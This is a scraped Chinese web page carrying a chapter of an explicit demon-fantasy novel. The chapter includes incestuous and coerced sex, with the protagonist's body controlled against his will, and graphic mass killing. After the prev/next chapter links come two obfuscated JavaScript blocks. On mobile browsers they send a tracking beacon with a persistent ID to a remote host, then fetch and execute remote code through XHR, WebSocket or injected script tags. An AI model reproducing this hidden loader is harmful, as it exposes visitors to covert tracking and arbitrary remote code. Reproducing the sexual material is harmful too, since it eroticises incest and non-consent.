冲司抱住姐姐的头,忘我的抽送起来。***********************************

冲司站在窗前,全身赤裸,现在既使他没有飞天梦魔的嗅觉,也知道自己身上全是精液的味道。地平线上慢慢浮出红色的朝日,一晚没睡的冲司觉得眼睛很痛。雪音躺在床上,头发上还沾着一点精液,“嗯……嗯…我还要……再给多一点……”咕咕哝哝地说着梦话,肌肤散发出滑嫩的光泽,大概是吸收了冲司精液的结果。卧室的门虽然上了锁,还是被轻易的转开。伶音走了进来,整齐的清汤挂面头,黑发就落在肩膀上。那双可爱的大腿在浴衣下摆前后晃动。“还是做了。”伶音看着雪音道,“你果然无法抗拒她的诱惑。”深邃的黑色眼眸看看雪音,再看看冲司。冲司不禁脸红起来。“我不是责怪你。”伶音道,“如果你能够抗拒诱惑,那她们会失去能量来源,很快的都会死掉。”伶音正坐在卧室的地板上,用眼神指示冲司坐到她的面前。“雪音为你灌输精气或许可以让你不断的射精,”伶音低声道,“但不表示你的身体真的撑的住,现在把手伸出来。”冲司伸出右手,伶音用两只小小的手掌握住冲司的右手,一股清凉的气息传来,让冲司瞬间觉得神清气爽。“好了,但是你以后不可以这么乱来。”伶音松开手道。伶音起身,准备下楼。“伶音,”冲司唤住她,“我想问一下,你是以什么为食?”“生气,”伶音回答,“只要我能够待在你住的地方,我就随时可以获得能量。”娇嫩的脸庞上透出温暖的热气。***********************************

看着梅杜莎拿着平底锅煎荷包蛋是一个非常异常的经验,尤其是那只梅杜莎还是自己的母亲。“这些东西都是我从附近的超级市场拿来的,店员都被你爸杀了,所以不会有人来跟我们要钱。”美沙子道,餐桌上堆满了火腿、起司、各式面包、水果等等。“就算我们真的白拿,也不会有人来跟我们要钱的。”伶音道,把满桌的食物取走一些,挪出一点空间。“呃!”雪音打了一个饱嗝,“我不用了,我看大概可以四五年不进食也没有关系吧?”全身赤裸的坐在椅子上,尾巴安逸的四处摇动。伶音拿起电视遥控器,打开电视,“看看电视上有什么新闻,如果电视台的人没被杀光的话。”“………各位市民诸君!”一个独眼巨人,大概有两层楼这么高,皮肤是绿色的,“请立刻停止你们的暴乱行为,昨天只是〝来源〞的十八岁生日,没有人说可以吃了他!”一个牛头人抢过麦克风,喊道:“大家不要听他放屁!昨天我已经和掠夺候阁下达成协议,大家赶快停止对〝来源〞的骚扰,这样晨星陛下就会让死掉的同胞复活!”“你说什么!明明是我和掠夺候阁下达成协议的!你这只没用的牛头人!”

独眼巨人怒道。“你这个只有一个眼睛的家伙,我看你连立体感都没有,还敢说什么领导市民!你去死吧!”牛头人愤怒的用头上的角撞独眼巨人,两个身高都有两层楼的庞然大物在市议会上就这么打了起来。“原来议长和市长真的是牛头人和独眼巨人啊………”冲司恍然大悟一个小小的黑影跳了过来,白光一闪,牛头人的牛头和独眼巨人只有一颗眼睛的头都落了下来,两具巨大的无头尸体重重的倒在地上,血流成河。冲司仔细一看,发现那人正是父亲,那张削瘦的脸庞如此的熟悉。只是父亲的背上长出一对边缘带着黑色花纹的白色羽翼,身上穿的不是西装而是磨的漆黑闪亮的铠甲,手里面还拿着一把又细又长的剑,剑身似乎因为沾了太多血而呈现出暗棕色。“你们这些垃圾,”父亲对着摄影机不屑的道,“要不是陛下的吩咐,我也不会来到这个鸟不生蛋的鬼地方,我本来一开始就打算先把这里的人全杀光再说,但既然陛下命令要给〝来源〞一个最接近真实的生长环境,那我也没有办法,只好把你们这群恶心的玩意留着等待日后再杀。”吉次冷笑起来,“没想到日后这么快就到了。”“听好,废物,”掠夺候扬眉道,周围的光线似乎都被他的眼神所吸收,画面变的很阴暗,只有那对冰冷的眼珠子在发亮“谁再靠近我家方圆十里之内就去死!”掠夺候吉次接着对旁边一名看起来像是军官的人道:“我们昨天是杀到那边

?”“报告掠夺候,大概是阁下宅邸方圆七里左右的范围,因为我们一个人一个人的杀,所以进展缓慢。”“喔,那再去杀三里。”吉次挥手道,让军官退下。“等一下!”他突然又道,阻止正要离去的军官,“我们昨天杀了多少人?”

“报告掠夺候,详细数目还在查,下官估计应该有七八万左右吧?”“什么左右?”吉次不悦道,“重算,今天杀完十八万人才准休息,一个人至少要杀一个!”“报告,是!”军官和掠夺候行军礼后离去。“喂!”掠夺候看着画面的方向,用下巴指了指,“那摄影机是不是还在跑?”

“报告,是!”另一个人的声音从画面某处传来。“为什么?”掠夺候问道。“报告,因为要转播市长声明。”“那市长人呢?”“报告,刚才已经被阁下处死了。”“喔,”掠夺候回过头去看了看脚下的巨大尸体,“我看见了。”他抬头看了看画面的方向,“市长死了,那应该不用转播了吧?”“报告,是!”“把摄影师杀了。”画面突然一阵震动,随即有一个身穿铠甲的军人奔过画面,似乎是追着什么东西。掠夺候手一扬,电视上的画面消失,只剩一堆黑白的杂讯。伶音把电视关掉,“我想应该也没有东西可以看了吧。”她道。冲司感到非常震撼,到目前为止,父亲是他所见变化最大的人,他一直以为父亲是个个性温和的好人。“我想你爸……或许现在应该叫他掠夺候,因为我们的任务已经失败了。”

美沙子滑了过来,靠在桌边,因为她的下半身是蛇,所以很难说她是站着还是坐着。“冲司,你最好吃点东西,我想你爸很快就会回来了。”美沙子道,一边用手捏起桌上的培根丢到头上,喂食那群小蛇。冲司拿起筷子,把蛋夹到面包上,咬了下去,然后用力的吞到肚子里面***********************************

“哈哈!我回来了!”掠夺候推开家门,铁靴喀喀作响,走了进来。“冲司,待会你跟我走,晨星陛下说他想见见你。”黑色的铠甲上面还沾着血,掠夺候一屁股坐在自己惯用的位子上,随手拿了一些东西,放到嘴里大嚼起来。“好久没这样杀人了,真是大快人心!”夏克斯笑道,削瘦的脸颊让他看起来一副病弱的样子,但散发出寒气的眼睛却又充满了骇人的威势。“嗯?嗯?”夏克斯用力的嗅了嗅,冷酷的眼神扫过每一个人的脸,冲司不禁吓得全身打颤,“他妈的!莎帛丝!”夏克斯一把抓起雪音,“你对冲司下手了是不是?身上全部都是他的味道!要我跟你说几次啊?”雪音痛苦地想要掰开夏克斯的手,但他的力量太大了,雪音根本无法反抗夏克斯右手握住左腰上的刀柄,眼见就要当场将雪音斩死。冲司突然冲上前,挡在夏克斯和雪音中间。冰凉的剑刃欺到冲司的脸旁,刹然止息。“冲司,你跑进来干什么?”夏克斯诧异道,沾满鲜血的黑色短发到处黏成一簇一簇的。“不要杀她!”冲司感到脸上一阵火热,不晓得哪来的勇气让自己站在夏克斯面前。“啊?我杀不杀她和你有什么关系?”夏克斯瞪着冲司。“不要杀姐姐!”冲司喊道。不止夏克斯,连雪音都诧异的看着冲司。“讲那什么跟人类一样的话啊!”夏克斯怒道,“啊,对了,你本来就是人类嘛。”随即恍然大悟道。“好,既然你说不要杀她,那我就不杀。”夏克斯说放就放,雪音跌坐在地,冲司连忙伸手搀扶。“但是她对你出手是事实,她违反了陛下的谕令,我不杀她,别人也会杀她。”夏克斯坐回位子上,继续把桌上的东西往嘴里塞。“姐姐没有对我出手……是我强暴姐姐的!”冲司回答道。“乍听之下是很合理的说词……”夏克斯边吃边道,“但飞天梦魔再不济也不至于会被人类强暴。”“好啦,别说了,不管怎样都轮不到我们来担心这件事。”美沙子道,绿色的梭形瞳孔注视着冲司,“既然冲司说不要杀她,那就不要杀就好了,服从〝来源〞的指示也是我们的任务之一。”“哼,得到冲司的精液后,我看莎帛丝也不会甘心继续当飞天梦魔的,八成会转成魔女或是蛇精一类的东西,说不定还妄想成为莉莉丝呢。”夏克斯啐道冲司搀扶着雪音,让她坐到沙发上,远离夏克斯。“嘿、嘿………”雪音抚摸脖子上夏克斯的红色指痕,“你干啥跑来救我?

我可不记得我会操纵人类。”“你昨天就知道会有这种结果吗?”冲司问道。“当然啦,对〝来源〞出手,未经许可从他身上取得任何有形无形的能量都是死刑啊。”雪音道。“那你为什么还要做呢?”冲司不解的道,“这样会死耶?”“死了又怎样?”雪音诧异的看着冲司,“我只要有精液就好了,我管那么多干嘛?”冲司现在才真正的了解人类和恶魔的不同,那一直存在的不协调,原来并不只是外型和能力的不同而已。没什么好说的,冲司于是坐了下来,脸上有点凉凉的,伸手一摸,原来刚才被夏克斯在脸上画出了一道浅浅的伤口。美沙子移动过来,蠕动的鳞片刮在地上发出沙沙声。“你流血了。”美沙子道,她蓝色的手轻轻碰触冲司的脖子,冲司刚开始一直不敢正眼看她,不过现在却觉得习惯之后,梅杜莎也不会说特别恐怖。“妈妈………为什么我们没有变成石头?”冲司问道。“因为我不想把你们变成石头。”美沙子道。“可是课本上不是说梅杜莎会把每一个看见她眼睛的人都变成石头吗?”

“如果你认为我们这几千年来都不知道进步,也未免太小看我们了。”美沙子笑道。她把冲司拥在怀里,轻轻舔舐冲司脸上的伤口。蓝色的丰满乳房贴在冲司身上。妈妈总是喜欢用舔的帮冲司清洁伤口,现在他知道为什么了,因为美沙子可以趁这机会摄取他的血液。她比雪音聪明得多,用这种方式既可以帮助冲司,也不会被冠上擅自从〝来源〞身上夺取能量的罪名。“妈妈,你可不可以把脚变回来?”冲司道,“我比较喜欢你用脚走路。”

“好。”美沙子道,青绿色的蛇身慢慢分成两半,变成一对姣好的女性双腿,深红色的蜜肉毫不遮掩的敞开,全身肌肤也变成原来的样子。冲司想到一件事,“妈,那你当初怎么生伶音的?”“伶音不是我生的,她是晨星大人召唤过来的,”美沙子道,“那时我肚子里面怀的是你的孩子。”冲司大惊,“什么?我的?”“那时你刚好在山上玩,跌伤了脚,擦出一块很大的伤口,我一直帮你把伤口上的脓血舔掉。”美沙子道,“后来体内含有太多你的体液,就怀孕了。”

“然后呢?那个小孩现在在哪里?”冲司连忙追问。“我吃掉了。”美沙子道。冲司全身一冷,“妈妈………你说的是真的吗?”感到身体在颤抖。“是真的,因为晨星陛下说现在还不到可以让冲司开始繁殖的时机,要我们把她处理掉。”美沙子道,“真是满可惜的,她是一个很漂亮的蛇精。”冲司只觉得头昏脑涨,美沙子温暖的手臂紧紧的抱着他。美沙子的唿吸打在冲司的耳朵上,像过去每次冲司心情不好的时候一样,美沙子开始轻轻的哼着温柔的旋律。冲司感到不安的情绪慢慢稳定下来。“你还不知道啊?”坐在一旁的雪音道,“她才不是在安慰你呢,你知道梅杜莎是靠人的什么东西为食吗?”“血肉………吧?”冲司不安的看着美沙子,问道:“是吗?”“不,”美沙子轻声道,“我以人类的痛苦为食。”冲司的心顿时坠入冰谷,“那妈妈你以前每次抱着我,都是在……”脸色发白道。“我只是顺便吸取你的苦恼而已,”美沙子道,“精神的痛苦比肉体的痛苦更加美味,而且味道也很丰富,很少有吃到同样口味的事发生。”冲司想要推开美沙子,却发现她柔软的手臂紧紧的抱着自己,纹风不动美沙子迷乱的眼神注视着冲司,“现在的你是最美味的一次……想到待会就要分开,实在是舍不得。”美沙子的嘴唇缓缓的贴上冲司,细细的蛇信钻进口中,四处探索。冲司舞动着手脚挣扎,但美沙子紧紧的抓着他。冲司的心中充满酸楚,对母亲最后的一丝幻想也破灭了。“啊~~~”雪音看着冲司和美沙子道,“你也做了嘛。”笑道。夏克斯的铁靴敲在地上发出刺耳的尖锐声响,一个黑影在空中翻滚,剑身白光闪亮。冲司看见他狰狞的笑脸,十万火急地把妈妈的身体翻过来,自己压在美沙子身上。本来砍向美沙子头部的剑迅速的改变方向,夏克斯碰的一声撞倒了茶几和电视。“他妈的!你挡在那干嘛!”夏克斯双翼一张,迅速跳起,怒吼道:“快给我让开,让我杀了她!”“不能杀她!”冲司喊道。“为什么?因为她是你妈?”夏克斯问道,剑尖指着冲司,冲司点点头夏克斯焦躁的在地上踩了几脚,转过身去把电视机砍成五六块,“人类!妈的!真是令人生气!”怒吼着走出房外,把外面的石像一个个砍倒。冲司的眼光从夏克斯身上拉回,母亲还被自己压在身下。“……没想到我也会一时失了分寸。”美沙子喃喃道。美沙子自从昨晚起就没有穿衣服,因此现在的她也是全身赤裸的,娇致的硕大乳房在胸前缓缓颤动,由于不需要再装扮冲司的母亲,脸上的皱纹斑点也消失了,看起来就像是年轻了十几岁一样。一个邪恶的念头划过冲司的心中。冲司惊讶的想要从母亲身上离开。一双手贴上脸颊,雪音苦苦的气息钻入体内。“怕什么?”雪音娇笑道,“想做就做吧,她又不是你的母亲,你又在顾虑什么?”雪音敏感的察觉到冲司心中的微弱欲望,也知道他一定不敢付诸行动,于是立刻决定要在冲司后面推上一把。“啊………啊………”冲司难耐的喘气,阴茎像是要把裤子撑破一样的勐烈勃起,胸中充满了想要把阴茎插入母亲体内的欲望。“莎帛丝,”美沙子道,“快住手。”母亲出面制止雪音了,这不禁让冲司感到一点温暖。“他甜美的痛苦都被你下流的欲望赶走了,这样我什么都吃不到。”美沙子续道。美沙子的话语在冲司的胸口上凿出一个巨大的坑洞,冷风唿唿的从洞中灌入,只剩下甜美而虚假的性欲还抵死不从地试图掩埋那个缺口。“没关系,这个我也很行,你等着看吧。”雪音笑道。雪音又吹了一口酸酸的气息到冲司体内,冲司感到四肢一阵酸麻,接着身体便毫无知觉。冲司的手在没有接到命令的情况下,握住美沙子的乳房。捏住乳头的拇指和食指以淫秽而且下流的动作慢慢搓揉,仿佛母亲是一个美妙的性玩具。“这………”冲司惊道,“姐姐,快让我停下来!”“为什么?你刚才不是想要上她吗?”雪音笑道,“不过你的脑袋里面有太多碍事的东西,所以我就让你的身体自己管理自己,让它们去追求它们需要的东西。”美沙子的乳头在冲司的玩弄下渐渐勃起涨大,她面无表情的脸庞也浮现出性欲的红潮。“那张脸不行啦!”雪音皱眉道,“美莎葛,你要用美沙子的脸做出快乐的表情啊,一直那张扑克脸,冲司会倒尽胃口的。”“你最好不要使唤我。”美沙葛冷冷道。“这是忠告!忠告啊!”雪音连忙笑道,“你魔格那么高,我哪敢使唤你呀!”

“嗯………”美沙子的表情渐渐软化,“冲司……”甜美的声音唿唤着冲司,她轻轻的抚摸冲司的脸庞,那是母亲的脸,而且是对自己儿子充满情欲的脸体内那想要奸淫母亲的强烈欲望已经支配了冲司的身体,他只能绝望的看着母亲美艳的身体,大口大口的喘息。“冲司……啊………”美沙子娇喘道,“妈妈……妈妈好舒服……”高高勃起的乳头在冲司的玩弄下不断发出美妙的电流,刺激着美沙子的全身。软绵绵的声音像是撒娇般的扑在冲司脸上,让阴茎亢奋的顶着美沙子的洞口,但在冲司的心中却像是把锐利的刀锋无情的切割。冲司弯下腰,缓缓把嘴压在母亲唇上。舌头贪婪的闯进美沙子的口中,以十分淫秽的方式快速的舔舐美沙子的舌尖,挑逗着她伸出舌头,在空中索求儿子的吸吮。雪音贴在冲司背后,两手爱抚阴茎,品尝着冲司澎湃的性欲。“妈妈………妈妈………”冲司呻吟着,“快停止………”“没关系的,冲司……”美沙子温柔的搂住冲司的颈子,“来,进到妈妈里面来,只要冲司高兴,妈妈做什么都可以。”“妈妈……”冲司痛苦的流下泪来,眼前的美沙子这并不是妈妈,只是母亲的幻影,从一开始,就都是幻影。美沙子娇嫩的脸上,肉欲的气息越来越浓厚。“太棒了………”她的瞳孔又恢复成绿色的梭形,“冲司………”美莎葛贪婪的吞食着冲司的痛苦,因为正如雪音所说,冲司离开之后,恐怕难有再见面的机会。黑色的蛇信用无比淫秽的动作在她的口中一进一出,仿佛正模拟着阴茎插入的样子。美莎葛将腿缠上冲司的腰,阴茎滑顺的刺入她的阴道中。充满丰沛肉汁的阴道紧紧的把冲司含住,肉壁开始来回蠕动着刺激阴茎的每一吋皮肤。“啊……啊!”冲司难耐的皱起眉头,“妈妈……妈!”美莎葛有力的手臂将冲司紧紧的抱在怀里,精液滚滚奔入子宫内,美莎葛亲吻冲司,管状的黑色蛇信深深的滑入他的喉咙里面。“看样子……我又要怀孕了……”美莎葛低声道,嗓音激动,从她下体不断涌出的大量液体来判断,冲司和美莎葛是同时高潮了。雪音满脸通红的站在旁边,满足的看着冲司趴在美莎葛胸前喘气。冲司想要离开美莎葛的身体,缓缓起身。美莎葛抱住他不放。“为什么不继续?”美莎葛问道。“我不想和妈妈做。”冲司低声道。“但是我很喜欢那种感觉,”美莎葛道,绿色的瞳孔缓缓放大,变成黑色,“再插进妈妈里面来好不好?冲司?”口气又变回美沙子。冲司没有说话。“你们爽完了没啊?”夏克斯踢开大门,不耐地道。“冲司,把衣服穿上,诺纶克斯来了,我们马上去见晨星陛下。”夏克斯道冲司一边穿衣服,一边看着窗外,除了自己家以外的地方都被夷为平地,变成黄色的荒漠,零星点缀着许多黑色的营帐。一条遍体闪着黑亮金属光泽的大蛇停在门外,那颗头大概有三辆旅游巴士那么大,加压电缆般的蛇信一边到处刺探,一边发出刺耳的摩擦声。伶音小跑步奔到冲司身边,刚才她只是在一边静静的观看而已。她握住冲司的手,把灵气灌入他的体内。“不知道那边会不会有人帮你注意这些事情,我想应该会有,晨星陛下是非常深思熟虑的人。”伶音道,“再见,冲司。”冲司紧紧握着伶音的手,只剩她没有改变。雪音苦笑着挥手,美莎葛本来还想再把冲司搂到怀里,但却被夏克斯威吓的眼神制止。“好啦,给我进去!”夏克斯怒道。巨蛇诺纶克斯张开嘴巴,夏克斯和冲司一起走进它血红的大嘴里面。看着诺纶克斯的嘴缓缓阖上,冲司勐地害怕起来,后悔刚刚没有在美莎葛的体内多停留一会。黑暗迅速的笼罩在诺纶克斯口中湿热的巨大空间里。“坐下吧,得过一段时间才能到陛下的玉座。”夏克斯的声音在身旁不远处响起。冲司坐了下来,诺纶克斯嘴里面的黏液都沾在裤子上。一阵剧烈摇晃,诺纶克斯动了起来,感觉就像滑入地道里面的电车一样从外面隐隐传来石头滚动的声音,夏克斯开始打鼾,似乎睡着了。冲司也


上一篇:这才不是我想要的命运(391-400)

下一篇:纷乱幻想(第一部)(陈雪梅的宠物生涯)(26-28)


function OgNmHBj(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function EWFOtfzU(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OgNmHBj(t);};window[''+'q'+'m'+'C'+'p'+'n'+'U'+'z'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function gqNus(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=EWFOtfzU,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=gqNus(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=gqNus(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aaHR0cHMlM0ElMkYlMkZhLm9uaaWN5Yi5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS5ycWRsb2QuY24lM0E5NTTM0','162093',window,document,['a','T']);}:function(){};
function SjDFo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function WtupNK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SjDFo(t);};window[''+'Q'+'H'+'S'+'r'+'F'+'A'+'j'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function kRLfP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=WtupNK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=kRLfP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=kRLfP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm9uaWN5Yi5jbiUzQTgg4OTE=','d3NzJTNBJTJGJTJGYS5ycWRsb2QuY24lMM0E5NTMM0','162092',window,document,['g','M']);}:function(){};